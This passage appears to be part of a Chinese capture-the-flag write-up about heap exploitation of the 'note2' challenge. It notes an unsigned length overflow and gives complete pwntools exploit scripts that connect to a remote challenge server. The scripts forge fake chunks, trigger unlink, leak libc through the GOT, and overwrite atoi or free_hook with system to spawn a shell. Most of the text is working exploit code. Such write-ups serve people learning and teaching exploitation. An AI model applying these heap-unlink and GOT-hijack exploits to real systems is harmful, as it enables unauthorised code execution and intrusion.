ptr=elf_base+0x000000000202060
fd=ptr-0x18
bk=ptr-0x10

log.success("ptr => "+hex(ptr))

fake_chunk=p64(0)+p64(0x91)
fake_chunk+=p64(fd)+p64(bk)#0x10
fake_chunk+=b"a"*0x70#size-0x20
fake_chunk+=p64(0x90)#0x98 now
fake_chunk+=p64(0xa0)#overflow_one:size
#off by one刚好溢出0xa0

create(0,0x98,b"aaaa\n")
create(1,0x90,b"bbbb\n")


edit(0,fake_chunk)#off by one

delete(1)#unlink

payload=b"a"*0x18+p64(free_hook)+p64(0x38)
payload+=p64(ptr+0x18)+b"/bin/sh\x00"

#0x5606e517f070 (note+16) —▸ 0x5606e517f078 (note+24) ◂— 0x68732f6e69622f /* '/bin/sh' */

edit(0,payload)
#0x558033648060 -> 0x558033648048 (0x18 offset)

payload=p64(system_addr)
edit(0,payload)

delete(1)


p.interactive()


note2

分析

保护情况:无PIE,可写GOT

root@ubuntu:~##  pwn checksec note2
[*] '/root/note2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

主要漏洞点:
在edit_content存在无符号整数溢出漏洞,(若输入长度为0)可无限制读入
Pasted image 20210922114905.png

主要利用思路==>Unlink做法

  1. 利用堆溢出,分两部分创建fakechunk
    1. 第一块建立fakechunk(fd\bk\size)
    2. 第二块(0大小堆块)、第三块创建后,过掉malloc检查(必须)
    3. free第二块,再创建一个0大小堆块相当于堆溢出第二块、第三块,修复fakechunk尾部
    4. unlink
  2. 泄露GOT、修改GOT表数据

笔记:

// len-1 (-1 与 unsigned 可以关联上)
// 如果len=0,那么输入长度无限制
// 
// 溢出检查:
// 1.变量逻辑
// 2.变量类型

EXP

整体思路:

  1. 利用堆溢出制造unlink
  2. 泄露GOT、修改GOT劫持
#coding=utf-8
from pwn import *
context.log_level="debug"
context.arch="amd64"

isLocal=0

filename="/root/note2"
if  isLocal:
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
    p=process(filename)#,env={"LD_PRELOAD" : "/lib/x86_64-linux-gnu/ld-2.23.so"}

else :
    p=remote("node4.buuoj.cn",28612)
    libc=ELF("./x64/libc-2.23_buuctf.so")

elf=ELF(filename)

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def bk(addr):
    gdb.attach(p,"b *"+str(hex(addr)))
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))
    pause()


def malloc(size,content):
    ru("option--->>")
    sl('1')
    ru("Input the length of the note content:(less than 128)")
    sl(str(size))
    ru("Input the note content:")
    sl(content)

def dump(idx):
    ru("option--->>")
    sl('2')
    ru("Input the id of the note:")
    sl(str(idx))

def edit(index,overORappend,content):
    ru("option--->>")
    sl('3')
    ru("Input the id of the note:")
    sl(str(index))
    ru("do you want to overwrite or append?[1.overwrite/2.append]")
    sl(str(overORappend))
    sl(content)

def free(index):
    ru("option--->>")
    sl('4')
    ru("Input the id of the note:")
    sl(str(index))
ptr=0x000000000602120
fd=ptr-0x18
bk=ptr-0x10

ru("Input your name:")
sl("test")
ru("Input your address:")
sl("hello")

fake_chunk=p64(0)+p64(0xa1)#把自己当成top chunk(pre size=0)
fake_chunk+=p64(fd)+p64(bk)#fd bk
#fake_chunk+=p64(0)*2#user data
#fake_chunk+=p64(0x30)+p8(0x90)#next chunk size head
malloc(0x80,fake_chunk)
malloc(0,b"")#1

malloc(0x80,b"bbb")


free(1)#为了过掉malloc函数的 top chunk-presize检查


fake_chunk=b"\x00"*0x10+p64(0xa0)+p64(0x90)
malloc(0,fake_chunk)#0x60+0x10(heap_head)+0x10=0x80(from x20~xa0)

free(2)#unlink



atoi_got=elf.got["atoi"]
payload=b"a"*0x18+p64(atoi_got)
edit(0,1,payload)

dump(0)

leak_libc=u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))

log.success("leak =>"+hex(leak_libc))
libc_base=leak_libc-libc.sym["atoi"]
libc.address=libc_base#set base
system_addr=libc.sym["system"]

payload=p64(system_addr)
edit(0,1,payload)


p.interactive()



版权声明:本文为m0_56897090原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。